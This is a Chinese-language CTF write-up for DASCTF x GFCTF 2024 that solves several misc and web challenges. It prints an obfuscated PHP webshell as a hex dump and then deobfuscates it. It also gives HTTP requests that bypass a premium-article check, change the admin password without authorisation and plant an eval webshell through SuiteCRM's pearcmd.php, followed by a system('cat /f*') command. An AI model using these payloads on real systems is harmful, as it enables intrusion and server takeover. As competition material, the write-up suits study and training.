DASCTF x GFCTF 2024
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401
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0
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WriteUp
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JBNRZ

643 字
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19 分钟
本文最后更新于 212 天前，其中的信息可能已经有所发展或是发生改变。

旅游嘞，经学弟的手看了俩misc，复现嘞，就这样了

Misc

badmsg

  • 理论上是AI题，可以选择手撸，给的时限还是很长的
正搁NUS玩呢，没带电脑，只能手机撸了
  • 或者，多试几个题即可发现大部分被判定为垃圾信息的内容，多半为广告，并且其中存在部分固定内容：xxxx 欢迎 顾客，所以判断一下是否包含该类内容基本也可以判断
from pwn import *

conn = remote('4.216.46.225', 2333)

for i in range(301):
    data = conn.recv(1024).decode()
    print(data)

    if 'xxx' in data:
        conn.sendline(b'1')
    else:
        conn.sendline(b'0')

    response = conn.recv(1024).decode()
    print(response)

conn.close()

tele

  • telegram通话协议基于p2p协议，泄露通话用户公网地址，在wireshark中指定查找stun协议

parser

  • 混淆的马，思路很简单，解了就是了
000001DF  45 78 70 69 72 65 73 3a  20 30 0d 0a 0d 0a 47 49   Expires:  0....GI
000001EF  46 38 39 61 3c 3f 70 68  70 20 73 74 72 5f 72 6f   F89a<?ph p str_ro
000001FF  74 31 33 28 73 75 62 73  74 72 28 27 6b 6f 66 76   t13(subs tr('kofv
0000020F  61 6d 72 65 65 62 65 5f  65 72 63 62 65 67 76 61   amreebe_ ercbegva
0000021F  74 27 2c 20 36 2c 20 31  35 29 29 28 45 5f 41 4c   t', 6, 1 5))(E_AL
0000022F  4c 20 5e 20 45 5f 4e 4f  54 49 43 45 29 3b 20 24   L ^ E_NO TICE); $
0000023F  d8 ae ef bf bd ef bf bd  ef bf bd ef bf bd cd b1   ........ ........
0000024F  ef bf bd ef bf bd ef bf  bd ef bf bd ef bf bd ef   ........ ........
0000025F  bf bd ef bf bd ef bf bd  20 3d 20 73 74 72 5f 72   ........  = str_r
0000026F  6f 74 31 33 28 73 75 62  73 74 72 28 27 65 74 73   ot13(sub str('ets
0000027F  6a 75 6f 6e 66 72 36 34  5f 71 72 70 62 71 72 27   juonfr64 _qrpbqr'
0000028F  2c 20 35 2c 20 31 33 29  29 28 73 75 62 73 74 72   , 5, 13) )(substr
0000029F  28 27 76 78 4d 44 67 77  4e 6a 64 54 5a 57 4d 3d   ('vxMDgw NjdTZWM=
000002AF  27 2c 20 32 2c 20 31 32  29 29 3b 20 66 75 6e 63   ', 2, 12 )); func
000002BF  74 69 6f 6e 20 78 6f 72  44 65 63 72 79 70 74 28   tion xor Decrypt(
000002CF  24 ca aa ef bf bd ef bf  bd ef bf bd ef bf bd ef   $....... ........
000002DF  bf bd d1 80 ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
000002EF  ef bf bd ef bf bd 2c 20  24 ef bf bd ef bf bd c5   ......,  $.......
000002FF  a8 dc b9 ef bf bd c8 8f  ef bf bd ef bf bd c8 b5   ........ ........
0000030F  ef bf bd 29 20 7b 20 24  ca aa ef bf bd ef bf bd   ...) { $ ........
0000031F  ef bf bd ef bf bd ef bf  bd d1 80 ef bf bd ef bf   ........ ........
0000032F  bd ef bf bd ef bf bd ef  bf bd ef bf bd 20 3d 20   ........ ..... = 
0000033F  73 74 72 5f 72 6f 74 31  33 28 73 75 62 73 74 72   str_rot1 3(substr
0000034F  28 27 78 6f 74 68 6f 6e  66 72 36 34 5f 71 72 70   ('xothon fr64_qrp
0000035F  62 71 72 27 2c 20 34 2c  20 31 33 29 29 28 24 ca   bqr', 4,  13))($.
0000036F  aa ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
0000037F  d1 80 ef bf bd ef bf bd  ef bf bd ef bf bd ef bf   ........ ........
0000038F  bd ef bf bd 29 3b 20 24  ef bf bd ef bf bd ef bf   ....); $ ........
0000039F  bd ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
000003AF  ef bf bd ef bf bd ef bf  bd ef bf bd ef bf bd e3   ........ ........
000003BF  a1 b3 20 3d 20 73 74 72  5f 72 6f 74 31 33 28 73   .. = str _rot13(s
000003CF  75 62 73 74 72 28 27 6a  74 6f 6e 66 72 36 34 5f   ubstr('j tonfr64_
000003DF  71 72 70 62 71 72 27 2c  20 32 2c 20 31 33 29 29   qrpbqr',  2, 13))
000003EF  28 27 27 29 3b 20 24 ef  bf bd ef bf bd ef bf bd   (''); $. ........
000003FF  dc a5 ef bf bd d2 93 ef  bf bd ef bf bd ef bf bd   ........ ........
0000040F  ef bf bd c9 9d ef bf bd  20 3d 20 73 74 72 5f 72   ........  = str_r
0000041F  6f 74 31 33 28 73 75 62  73 74 72 28 27 65 66 67   ot13(sub str('efg
0000042F  65 79 72 61 27 2c 20 31  2c 20 36 29 29 28 24 ef   eyra', 1 , 6))($.
0000043F  bf bd ef bf bd c5 a8 dc  b9 ef bf bd c8 8f ef bf   ........ ........
0000044F  bd ef bf bd c8 b5 ef bf  bd 29 3b 20 66 6f 72 20   ........ .); for 
0000045F  28 24 ef bf bd ef bf bd  ef bf bd ef bf bd ef bf   ($...... ........
0000046F  bd ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
0000047F  d7 bb ef bf bd ef bf bd  ef bf bd ef bf bd 20 3d   ........ ...... =
0000048F  20 30 3b 20 24 ef bf bd  ef bf bd ef bf bd ef bf    0; $... ........
0000049F  bd ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
000004AF  ef bf bd d7 bb ef bf bd  ef bf bd ef bf bd ef bf   ........ ........
000004BF  bd 20 3c 20 73 74 72 5f  72 6f 74 31 33 28 73 75   . < str_ rot13(su
000004CF  62 73 74 72 28 27 6a 74  65 66 67 65 79 72 61 27   bstr('jt efgeyra'
000004DF  2c 20 33 2c 20 36 29 29  28 24 ca aa ef bf bd ef   , 3, 6)) ($......
000004EF  bf bd ef bf bd ef bf bd  ef bf bd d1 80 ef bf bd   ........ ........
000004FF  ef bf bd ef bf bd ef bf  bd ef bf bd ef bf bd 29   ........ .......)
0000050F  3b 20 24 ef bf bd ef bf  bd ef bf bd ef bf bd ef   ; $..... ........
0000051F  bf bd ef bf bd ef bf bd  ef bf bd ef bf bd ef bf   ........ ........
0000052F  bd d7 bb ef bf bd ef bf  bd ef bf bd ef bf bd 2b   ........ .......+
0000053F  2b 29 20 7b 20 24 ef bf  bd ef bf bd ef bf bd e5   +) { $.. ........
0000054F  84 8e ef bf bd d5 b8 ef  bf bd d6 bf ef bf bd ef   ........ ........
0000055F  bf bd 20 3d 20 24 ef bf  bd ef bf bd c5 a8 dc b9   .. = $.. ........
0000056F  ef bf bd c8 8f ef bf bd  ef bf bd c8 b5 ef bf bd   ........ ........
0000057F  5b 24 ef bf bd ef bf bd  ef bf bd ef bf bd ef bf   [$...... ........
0000058F  bd ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
0000059F  d7 bb ef bf bd ef bf bd  ef bf bd ef bf bd 20 25   ........ ...... %
000005AF  20 24 ef bf bd ef bf bd  ef bf bd dc a5 ef bf bd    $...... ........
000005BF  d2 93 ef bf bd ef bf bd  ef bf bd ef bf bd c9 9d   ........ ........
000005CF  ef bf bd 5d 3b 20 24 ef  bf bd ef bf bd e0 ad 8f   ...]; $. ........
000005DF  ef bf bd ef bf bd ef bf  bd d5 a5 c4 86 ef bf bd   ........ ........
000005EF  ef bf bd ef bf bd 20 3d  20 73 74 72 5f 72 6f 74   ...... =  str_rot
000005FF  31 33 28 73 75 62 73 74  72 28 27 79 62 65 71 27   13(subst r('ybeq'
0000060F  2c 20 31 2c 20 33 29 29  28 24 ca aa ef bf bd ef   , 1, 3)) ($......
0000061F  bf bd ef bf bd ef bf bd  ef bf bd d1 80 ef bf bd   ........ ........
0000062F  ef bf bd ef bf bd ef bf  bd ef bf bd ef bf bd 5b   ........ .......[
0000063F  24 ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   $....... ........
0000064F  ef bf bd ef bf bd ef bf  bd ef bf bd ef bf bd d7   ........ ........
0000065F  bb ef bf bd ef bf bd ef  bf bd ef bf bd 5d 29 20   ........ .....]) 
0000066F  2d 20 24 ef bf bd ef bf  bd ef bf bd ef bf bd ef   - $..... ........
0000067F  bf bd ef bf bd ef bf bd  ef bf bd ef bf bd ef bf   ........ ........
0000068F  bd d7 bb ef bf bd ef bf  bd ef bf bd ef bf bd 20   ........ ....... 
0000069F  25 20 33 3b 20 24 ef bf  bd ef bf bd e0 ad 8f ef   % 3; $.. ........
000006AF  bf bd ef bf bd ef bf bd  d5 a5 c4 86 ef bf bd ef   ........ ........
000006BF  bf bd ef bf bd 20 3d 20  28 24 ef bf bd ef bf bd   ..... =  ($......
000006CF  e0 ad 8f ef bf bd ef bf  bd ef bf bd d5 a5 c4 86   ........ ........
000006DF  ef bf bd ef bf bd ef bf  bd 20 5e 20 73 74 72 5f   ........ . ^ str_
000006EF  72 6f 74 31 33 28 73 75  62 73 74 72 28 27 72 67   rot13(su bstr('rg
000006FF  78 61 6d 66 62 65 71 27  2c 20 36 2c 20 33 29 29   xamfbeq' , 6, 3))
0000070F  28 24 ef bf bd ef bf bd  ef bf bd e5 84 8e ef bf   ($...... ........
0000071F  bd d5 b8 ef bf bd d6 bf  ef bf bd ef bf bd 29 29   ........ ......))
0000072F  20 25 20 32 35 36 3b 20  24 ef bf bd ef bf bd ef    % 256;  $.......
0000073F  bf bd ef bf bd ef bf bd  ef bf bd ef bf bd ef bf   ........ ........
0000074F  bd ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
0000075F  e3 a1 b3 20 2e 3d 20 73  74 72 5f 72 6f 74 31 33   ... .= s tr_rot13
0000076F  28 73 75 62 73 74 72 28  27 68 6c 76 71 61 70 75   (substr( 'hlvqapu
0000077F  65 27 2c 20 35 2c 20 33  29 29 28 24 ef bf bd ef   e', 5, 3 ))($....
0000078F  bf bd e0 ad 8f ef bf bd  ef bf bd ef bf bd d5 a5   ........ ........
0000079F  c4 86 ef bf bd ef bf bd  ef bf bd 29 3b 20 7d 20   ........ ...); } 
000007AF  72 65 74 75 72 6e 20 24  ef bf bd ef bf bd ef bf   return $ ........
000007BF  bd ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
000007CF  ef bf bd ef bf bd ef bf  bd ef bf bd ef bf bd e3   ........ ........
000007DF  a1 b3 3b 20 7d 20 63 6c  61 73 73 20 41 20 7b 20   ..; } cl ass A { 
000007EF  70 75 62 6c 69 63 20 66  75 6e 63 74 69 6f 6e 20   public f unction 
000007FF  5f 5f 63 6f 6e 73 74 72  75 63 74 28 24 ef bf bd   __constr uct($...
0000080F  e5 b3 b6 ef bf bd ef bf  bd ce 92 ef bf bd ef bf   ........ ........
0000081F  bd ef bf bd ef bf bd ef  bf bd ef bf bd 2c 20 24   ........ ....., $
0000082F  ef bf bd ef bf bd ef bf  bd ef bf bd ef bf bd ef   ........ ........
0000083F  bf bd cf 8e df ae ef bf  bd ef bf bd ef bf bd ef   ........ ........
0000084F  bf bd ef bf bd 29 20 7b  20 24 ef bf bd ce 89 ef   .....) {  $......
0000085F  bf bd d6 8f ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
0000086F  d3 b1 eb bb b2 ef bf bd  20 3d 20 73 74 72 5f 72   ........  = str_r
0000087F  6f 74 31 33 28 73 75 62  73 74 72 28 27 78 6a 79   ot13(sub str('xjy
0000088F  76 77 72 6b 62 65 51 72  70 65 6c 63 67 27 2c 20   vwrkbeQr pelcg', 
0000089F  36 2c 20 31 30 29 29 28  24 ef bf bd e5 b3 b6 ef   6, 10))( $.......
000008AF  bf bd ef bf bd ce 92 ef  bf bd ef bf bd ef bf bd   ........ ........
000008BF  ef bf bd ef bf bd ef bf  bd 2c 20 73 74 72 5f 72   ........ ., str_r
000008CF  6f 74 31 33 28 73 75 62  73 74 72 28 27 6e 63 63   ot13(sub str('ncc
000008DF  68 62 61 6f 6e 66 72 36  34 5f 71 72 70 62 71 72   hbaonfr6 4_qrpbqr
000008EF  27 2c 20 36 2c 20 31 33  29 29 28 73 75 62 73 74   ', 6, 13 ))(subst
000008FF  72 28 27 6a 68 70 6d 71  52 30 5a 44 56 45 59 79   r('jhpmq R0ZDVEYy
0000090F  4d 44 49 30 27 2c 20 35  2c 20 31 32 29 29 29 3b   MDI0', 5 , 12)));
0000091F  20 24 ef bf bd ef bf bd  ef bf bd d1 ad ef bf bd    $...... ........
0000092F  cc b3 ef bf bd c3 a2 ef  bf bd ef bf bd ef bf bd   ........ ........
0000093F  d9 bc 20 3d 20 73 74 72  5f 72 6f 74 31 33 28 73   .. = str _rot13(s
0000094F  75 62 73 74 72 28 27 67  79 66 6a 69 65 6b 62 65   ubstr('g yfjiekbe
0000095F  51 72 70 65 6c 63 67 27  2c 20 36 2c 20 31 30 29   Qrpelcg' , 6, 10)
0000096F  29 28 24 ef bf bd ef bf  bd ef bf bd ef bf bd ef   )($..... ........
0000097F  bf bd ef bf bd cf 8e df  ae ef bf bd ef bf bd ef   ........ ........
0000098F  bf bd ef bf bd ef bf bd  2c 20 73 74 72 5f 72 6f   ........ , str_ro
0000099F  74 31 33 28 73 75 62 73  74 72 28 27 61 73 63 62   t13(subs tr('ascb
000009AF  71 6f 6e 66 72 36 34 5f  71 72 70 62 71 72 27 2c   qonfr64_ qrpbqr',
000009BF  20 35 2c 20 31 33 29 29  28 73 75 62 73 74 72 28    5, 13)) (substr(
000009CF  27 73 67 78 73 65 6d 52  45 46 54 51 31 52 47 27   'sgxsemR EFTQ1RG'
000009DF  2c 20 36 2c 20 38 29 29  29 3b 20 73 74 72 5f 72   , 6, 8)) ); str_r
000009EF  6f 74 31 33 28 73 75 62  73 74 72 28 27 68 67 77   ot13(sub str('hgw
000009FF  71 6b 6d 63 65 76 61 67  5f 65 27 2c 20 36 2c 20   qkmcevag _e', 6, 
00000A0F  37 29 29 28 73 74 72 5f  72 6f 74 31 33 28 73 75   7))(str_ rot13(su
00000A1F  62 73 74 72 28 27 6b 69  6f 6b 78 6f 6e 66 72 36   bstr('ki okxonfr6
00000A2F  34 5f 72 61 70 62 71 72  27 2c 20 35 2c 20 31 33   4_rapbqr ', 5, 13
00000A3F  29 29 28 73 74 72 5f 72  6f 74 31 33 28 73 75 62   ))(str_r ot13(sub
00000A4F  73 74 72 28 27 63 66 64  6e 6b 62 65 51 72 70 65   str('cfd nkbeQrpe
00000A5F  6c 63 67 27 2c 20 34 2c  20 31 30 29 29 28 73 74   lcg', 4,  10))(st
00000A6F  72 5f 72 6f 74 31 33 28  73 75 62 73 74 72 28 27   r_rot13( substr('
00000A7F  6a 6d 6f 6e 66 72 36 34  5f 72 61 70 62 71 72 27   jmonfr64 _rapbqr'
00000A8F  2c 20 32 2c 20 31 33 29  29 28 73 74 72 5f 72 6f   , 2, 13) )(str_ro
00000A9F  74 31 33 28 73 75 62 73  74 72 28 27 79 6e 64 68   t13(subs tr('yndh
00000AAF  73 75 70 6e 79 79 5f 68  66 72 65 5f 73 68 61 70   supnyy_h fre_shap
00000ABF  27 2c 20 36 2c 20 31 34  29 29 28 24 ef bf bd ce   ', 6, 14 ))($....
00000ACF  89 ef bf bd d6 8f ef bf  bd ef bf bd ef bf bd ef   ........ ........
00000ADF  bf bd d3 b1 eb bb b2 ef  bf bd 2c 20 24 ef bf bd   ........ .., $...
00000AEF  ef bf bd ef bf bd d1 ad  ef bf bd cc b3 ef bf bd   ........ ........
00000AFF  c3 a2 ef bf bd ef bf bd  ef bf bd d9 bc 29 29 2c   ........ .....)),
00000B0F  20 73 74 72 5f 72 6f 74  31 33 28 73 75 62 73 74    str_rot 13(subst
00000B1F  72 28 27 75 6b 69 66 6f  6e 66 72 36 34 5f 71 72   r('ukifo nfr64_qr
00000B2F  70 62 71 72 27 2c 20 34  2c 20 31 33 29 29 28 73   pbqr', 4 , 13))(s
00000B3F  75 62 73 74 72 28 27 68  72 77 63 75 68 52 30 56   ubstr('h rwcuhR0V
00000B4F  55 54 56 6c 47 54 45 46  48 27 2c 20 36 2c 20 31   UTVlGTEF H', 6, 1
00000B5F  32 29 29 29 29 29 3b 20  7d 20 7d 20 69 66 20 28   2)))));  } } if (
00000B6F  24 5f 50 4f 53 54 5b 73  74 72 5f 72 6f 74 31 33   $_POST[s tr_rot13
00000B7F  28 73 75 62 73 74 72 28  27 76 71 65 77 65 67 6f   (substr( 'vqewego
00000B8F  6e 66 72 36 34 5f 71 72  70 62 71 72 27 2c 20 36   nfr64_qr pbqr', 6
00000B9F  2c 20 31 33 29 29 28 73  75 62 73 74 72 28 27 67   , 13))(s ubstr('g
00000BAF  75 63 47 46 7a 63 77 3d  3d 27 2c 20 32 2c 20 38   ucGFzcw= =', 2, 8
00000BBF  29 29 5d 20 3d 3d 3d 20  73 74 72 5f 72 6f 74 31   ))] ===  str_rot1
00000BCF  33 28 73 75 62 73 74 72  28 27 66 66 66 75 6e 31   3(substr ('fffun1
00000BDF  27 2c 20 32 2c 20 34 29  29 28 24 d8 ae ef bf bd   ', 2, 4) )($.....
00000BEF  ef bf bd ef bf bd ef bf  bd cd b1 ef bf bd ef bf   ........ ........
00000BFF  bd ef bf bd ef bf bd ef  bf bd ef bf bd ef bf bd   ........ ........
00000C0F  ef bf bd 29 29 20 7b 20  24 ef bf bd ef bf bd ef   ...)) {  $.......
00000C1F  bf bd ef bf bd ef bf bd  ef bf bd ef bf bd ef bf   ........ ........
00000C2F  bd ef bf bd ef bf bd d0  b9 ef bf bd ef bf bd ef   ........ ........
00000C3F  bf bd 20 3d 20 6e 65 77  20 41 28 24 5f 43 4f 4f   .. = new  A($_COO
00000C4F  4b 49 45 5b 73 74 72 5f  72 6f 74 31 33 28 73 75   KIE[str_ rot13(su
00000C5F  62 73 74 72 28 27 77 6f  6e 66 72 36 34 5f 71 72   bstr('wo nfr64_qr
00000C6F  70 62 71 72 27 2c 20 31  2c 20 31 33 29 29 28 73   pbqr', 1 , 13))(s
00000C7F  75 62 73 74 72 28 27 6d  75 67 65 58 4d 3d 27 2c   ubstr('m ugeXM=',
00000C8F  20 33 2c 20 34 29 29 5d  2c 20 24 5f 43 4f 4f 4b    3, 4))] , $_COOK
00000C9F  49 45 5b 73 74 72 5f 72  6f 74 31 33 28 73 75 62   IE[str_r ot13(sub
00000CAF  73 74 72 28 27 6c 72 65  75 6f 6e 66 72 36 34 5f   str('lre uonfr64_
00000CBF  71 72 70 62 71 72 27 2c  20 34 2c 20 31 33 29 29   qrpbqr',  4, 13))
00000CCF  28 73 75 62 73 74 72 28  27 78 66 6b 6b 63 57 51   (substr( 'xfkkcWQ
00000CDF  3d 27 2c 20 34 2c 20 34  29 29 5d 29 3b 20 7d 20   =', 4, 4 ))]); } 
00000CEF  65 63 68 6f 20 73 74 72  5f 72 6f 74 31 33 28 73   echo str _rot13(s
00000CFF  75 62 73 74 72 28 27 62  78 67 6f 6e 66 72 36 34   ubstr('b xgonfr64
00000D0F  5f 71 72 70 62 71 72 27  2c 20 33 2c 20 31 33 29   _qrpbqr' , 3, 13)
00000D1F  29 28 73 75 62 73 74 72  28 27 68 6a 6e 63 33 56   )(substr ('hjnc3V
00000D2F  6a 59 32 56 7a 63 31 38  78 27 2c 20 33 2c 20 31   jY2Vzc18 x', 3, 1
00000D3F  32 29 29 3b 0d 0a 2d 2d  30 63 61 61 36 64 36 66   2));
<?php str_rot13(substr('kofvamreebe_ercbegvat', 6, 15))(E_ALL ^ E_NOTICE); $........................................ = str_rot13(substr('etsjuonfr64_qrpbqr', 5, 13))(substr('vxMDgwNjdTZWM=', 2, 12)); function xorDecrypt($....................................., $..........................) { $..................................... = str_rot13(substr('xothonfr64_qrpbqr', 4, 13))($.....................................); $.......................................... = str_rot13(substr('jtonfr64_qrpbqr', 2, 13))(''); $................................. = str_rot13(substr('efgeyra', 1, 6))($..........................); for ($............................................ = 0; $............................................ < str_rot13(substr('jtefgeyra', 3, 6))($.....................................); $............................................++) { $............................ = $..........................[$............................................ % $.................................]; $............................... = str_rot13(substr('ybeq', 1, 3))($.....................................[$............................................]) - $............................................ % 3; $............................... = ($............................... ^ str_rot13(substr('rgxamfbeq', 6, 3))($............................)) % 256; $.......................................... .= str_rot13(substr('hlvqapue', 5, 3))($...............................); } return $..........................................; } class A { public function __construct($................................, $.....................................) { $.............................. = str_rot13(substr('xjyvwrkbeQrpelcg', 6, 10))($................................, str_rot13(substr('ncchbaonfr64_qrpbqr', 6, 13))(substr('jhpmqR0ZDVEYyMDI0', 5, 12))); $................................ = str_rot13(substr('gyfjiekbeQrpelcg', 6, 10))($....................................., str_rot13(substr('ascbqonfr64_qrpbqr', 5, 13))(substr('sgxsemREFTQ1RG', 6, 8))); str_rot13(substr('hgwqkmcevag_e', 6, 7))(str_rot13(substr('kiokxonfr64_rapbqr', 5, 13))(str_rot13(substr('cfdnkbeQrpelcg', 4, 10))(str_rot13(substr('jmonfr64_rapbqr', 2, 13))(str_rot13(substr('yndhsupnyy_hfre_shap', 6, 14))($.............................., $................................)), str_rot13(substr('ukifonfr64_qrpbqr', 4, 13))(substr('hrwcuhR0VUTVlGTEFH', 6, 12))))); } } if ($_POST[str_rot13(substr('vqewegonfr64_qrpbqr', 6, 13))(substr('gucGFzcw==', 2, 8))] === str_rot13(substr('fffun1', 2, 4))($........................................)) { $......................................... = new A($_COOKIE[str_rot13(substr('wonfr64_qrpbqr', 1, 13))(substr('mugeXM=', 3, 4))], $_COOKIE[str_rot13(substr('lreuonfr64_qrpbqr', 4, 13))(substr('xfkkcWQ=', 4, 4))]); } echo str_rot13(substr('bxgonfr64_qrpbqr', 3, 13))(substr('hjnc3VjY2Vzc18x', 3, 12));
  • 解混淆，再去除一些无用函数
<?php
error_reporting(E_ALL ^ E_NOTICE);
$d = '08067Sec';
function xorDecrypt($e, $k) {
    $e = base64_decode($e);
    $b = base64_decode('');
    $f = strlen($k);
    for ($a = 0; $a < strlen($e); $a++) {
        $j = $k[$a % $f];
        $h = ord($e[$a]) -$a % 3;
        $h = ($h ^ ord($j)) % 256;
        $b .= chr($h);
    }
    return $b;
}
class A
{
    public function __construct($g, $e)
    {
        $i = xorDecrypt($g, 'GFCTF2024');
        $g = xorDecrypt($e, 'DASCTF';
        print_r(base64_encode(xorDecrypt(base64_encode(call_user_func($i, $g)), 'GETMYFLAG')));
    }
}
if ($_POST['pass'] === sha1($d)) {
    $c = new A($_COOKIE['ys'], $_COOKIE['qd']);
}
echo 'success_1';
  • 逆
<?php

function xorDecrypt($m, $k) {
    $f = strlen($k);
    $b = '';
    for ($a = 0; $a < strlen($m); $a++) {
        $j = $k[$a % $f];
        $h = ord($m[$a]);
        $h = ($h ^ ord($j)) % 256 + $a % 3;
        $b .= chr($h);
    }
    return base64_encode($b);
}

print_r(base64_decode(xorDecrypt(base64_decode("AwUFDgoCNzlpMhtmPz0bPCYpF3YkPms2Ey11NDZlPyVO"), "GETMYFLAG")));

twice

  • 主要关注m3u8媒体的解密过程，.m3u8文件中的key并非解密key，需要在js中先解密
  • 得到key
DASCTF{gfc7f-wl@
  • video2
cs-w0kfhc3r-fun}
  • 官方exp
function decrypt(video_key, en_key) {
    var z = {
        '_revise': video_key
    }

    let buffer = new ArrayBuffer(16);
    let data = new Uint8Array(en_key);
    let view = new DataView(buffer);
    for (let i = 0; i < data.length; i++) {
        view.setUint8(i, data[i]);
    }

    var T = new DataView(view.buffer);
    
        const L = z._revise;
        T.setInt32(0, T.getInt32(0) ^ L[0]);
        T.setInt32(4, T.getInt32(4) ^ L[1]);
        T.setInt32(8, T.getInt32(8) ^ L[2]);
        T.setInt32(12, T.getInt32(12) ^ L[3]);
        ok = T.buffer;

        dec_16 = new Uint8Array(ok);
    

    return dec_16
}

var video_key = [3854078970, 2917115795, 3887476043, 3350876132];
var en_key = [161,249,192,185,249,153,220,244,129,213,26,45,234,205,35,164];

var ok = decrypt(video_key, en_key);
console.log(ok);

Web

cool_index

  • 不满足以下条件即可
if (decoded.subscription !== "premium" && index >= 7) {
    return res
        .status(403)
        .json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
    return res.status(400).json({ message: "你知道我要说什么" });
}
  • poc
POST /article HTTP/1.1
Content-Length: 14
Content-Type: application/json
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwic3Vic2NyaXB0aW9uIjoiZ3Vlc3QiLCJpYXQiOjE3MTM3OTEzODksImV4cCI6MTcxMzg3Nzc4OX0.N4KORpGcE3daT9541vMnf0eI3CH2ldMc74uuhi5LTHQ

{"index":"7a"}

EasySignin

  • 越权修改admin密码
POST /change.php?change HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=9d3b506ab98450416c06ae55fe3d55ed
DNT: 1
Host: 747472dd-c8ea-4028-9408-e0c18e79defb.node5.buuoj.cn:81
Origin: http://747472dd-c8ea-4028-9408-e0c18e79defb.node5.buuoj.cn:81
Pragma: no-cache
Referer: http://747472dd-c8ea-4028-9408-e0c18e79defb.node5.buuoj.cn:81/update.php
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

username=admin&new-password=123456&confirm-password=123456
  • /getpicture.php明显有个ssrf，gopher打mysql，load_file("/flag")

SuiteCRM

https://fluidattacks.com/advisories/silva

  • pearcmd写马
GET /index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php HTTP/1.1
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: LEGACYSESSID=d4a3bf8540fd16308bdbb999f1d1b05e; PHPSESSID=620dbe59f90d470cc30d10dc913b8635; XSRF-TOKEN=jFTQjjT_env9NAP8Z1vdvC-fuFhjJefI4WtFnIn8Q3w; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8
DNT: 1
Host: 11801282-c918-4915-a74e-31f4263744de.node5.buuoj.cn:81
Origin: http://11801282-c918-4915-a74e-31f4263744de.node5.buuoj.cn:81
Pragma: no-cache
Referer: http://11801282-c918-4915-a74e-31f4263744de.node5.buuoj.cn:81/legacy/index.php?module=Home
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
X-Requested-With: XMLHttpRequest
  • cat flag
POST /index.php//tmp/test.php HTTP/1.1
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 22
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: LEGACYSESSID=d4a3bf8540fd16308bdbb999f1d1b05e; PHPSESSID=620dbe59f90d470cc30d10dc913b8635; XSRF-TOKEN=jFTQjjT_env9NAP8Z1vdvC-fuFhjJefI4WtFnIn8Q3w; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8
DNT: 1
Host: 11801282-c918-4915-a74e-31f4263744de.node5.buuoj.cn:81
Origin: http://11801282-c918-4915-a74e-31f4263744de.node5.buuoj.cn:81
Pragma: no-cache
Referer: http://11801282-c918-4915-a74e-31f4263744de.node5.buuoj.cn:81/legacy/index.php?module=Home
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
X-Requested-With: XMLHttpRequest

cmd=system("cat /f*");
DASCTFGFCTFMISCWEB
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